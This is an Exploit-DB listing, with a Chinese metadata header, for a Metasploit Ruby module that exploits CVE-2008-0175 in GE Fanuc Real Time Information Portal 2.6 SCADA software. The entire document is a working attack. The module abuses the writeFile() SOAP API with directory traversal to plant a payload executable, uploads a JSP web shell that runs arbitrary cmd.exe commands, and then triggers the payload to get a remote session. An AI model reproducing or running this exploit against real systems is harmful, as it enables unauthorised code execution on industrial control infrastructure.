标题: GE Fanuc Real Time Information Portal 2.6 - 'writeFile()' API (Metasploit) EDB-ID: 6921 CVE: 2008-0175 类型: REMOTE 平台: WINDOWS 发布日期: 2008-11-01 漏洞利用脚本: ##
# $Id: hooked_on_fanucs.rb
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'
require 'soap/rpc/driver'
require 'soap/filter'

# Must have httpaccess2 for this to work
class CookieFilter < SOAP::Filter::StreamHandler
 attr_accessor :cookie_value

 def initialize
   @cookie_value = nil
 end

 def on_http_outbound(req)
   req.header['Cookie'] = @cookie_value if @cookie_value
 end

 def on_http_inbound(req, res)
   cookie = res.header['Set-Cookie'][0]
   cookie.sub!(/;.*\z/, '') if cookie
   @cookie_value = cookie
 end
end

class Metasploit3 < Msf::Exploit::Remote
 include Msf::Exploit::Remote::Tcp
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Hooked on Fanucs - GE Fanuc Real Time Information Portal 2.6 writeFile() API exploit',
   'Description'    => %q{
     This module exploits an API flaw in GE Fanuc SCADA software 
   },
   'Author'         => [ 'kf <kf_lists[at]digitalmunition.com>' ],
   'Version'        => '$Revision: 1 $',
   'References'     => 
    [
     ['CVE', '2008-0175'],
     ['URL', 'http://support.gefanuc.com/support/index?page=kbchannel&id=KB12460'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Targets'        =>
                                [
                                        [ 'GE Fanuc Real Time Information Portal 2.6', { 'Payload' => { 'Space' => 4000 } } ],
                                ],
                        'DefaultTarget'  => 0,
   'Platform'       => 'win',
   'Privileged'     => false
   ))

   register_options(
                        [
                                Opt::RPORT(80)
                        ], self.class)

 end

 def exploit

  namespace = 'urn:iFixWeb'
  endpoint = 'http://' + datastore['RHOST'] + '/infoAgentSrv/iFixWeb'  # CHANGE THIS
  proxy    = SOAP::RPC::Driver.new(endpoint,namespace)
  proxy.streamhandler.filterchain << CookieFilter.new
  proxy.wiredump_dev = STDERR # Enable this for XML output

  # Various functions to play with...
  proxy.add_method('writeFile', 'writeFile', 'p2', 'p3')
  proxy.add_method('login', 'login', 'p2', 'p3', 'p4')
  proxy.add_method('logout')
  proxy.add_method('getFileList', 'getFileList', 'p2')
  proxy.add_method('deleteFile', 'deleteFile', 'p2')

  proxy.login('blarg', Rex::Text.encode_base64("BBBBBBBBBBB",''), 'zzzzzzzzz',true)
     
                bin = Rex::Text.to_win32pe(payload.encoded, '')
                cmd =  Rex::Text.encode_base64(bin,'')

  proxy.writeFile('..\\..\\..\\..\\..\\..\\..\\..\\.\\..\\pwn.exe',cmd,false)
  proxy.getFileList('..\\..\\..\\..\\..\\..\\..\\..\\.\\..\\pwn.exe', 1)

  jspshell = '<FORM METHOD=GET ACTION=\'jspshell.jsp\'>
  <INPUT name=\'cmd\' type=text>
  <INPUT type=submit value=\'Run\'>
  </FORM>
  <%@ page import="java.io.*" %>
  <%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
    String s = null;
    try {
     Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
     BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
     while((s = sI.readLine()) != null) {
      output += s;
     }
    }
    catch(IOException e) {
     e.printStackTrace();
    }
   }
  %>
  <pre>
  <%=output %>
  </pre>'

  proxy.writeFile('jspshell.jsp', Rex::Text.encode_base64(jspshell,''),false)
  proxy.logout 
    
  connect
  print_status("Hooked on Fanucs works for me!")
                sock.put("GET /infoAgentSrv/jspshell.jsp?cmd=c:\\pwn.exe HTTP/1.0\r\n\r\n")

  handler

                disconnect

                              
 end

end

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6921